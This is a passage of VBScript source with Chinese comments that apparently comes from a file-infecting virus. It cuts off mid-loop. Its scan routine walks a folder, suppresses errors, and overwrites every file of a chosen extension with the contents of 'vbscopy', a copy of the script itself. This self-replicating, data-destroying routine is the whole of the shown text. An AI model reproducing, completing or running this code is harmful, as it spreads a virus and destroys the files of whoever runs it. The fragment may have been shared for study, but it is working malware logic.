Sub scan(folder1)
On Error Resume Next
Set fold=fso.GetFolder(folder1)
Set files=fold.Files
For Each file In files
ext=fso.GetExtensionName(file)
ext=LCase(ext)
If ext="ok" Then '要进行操作的文件类型
WScript.Echo "全名:"&file.Name&";扩展名:"&ext
Set fl=fso.OpenTextFile(file.Path,2,True)
fl.Write vbscopy
fl.Close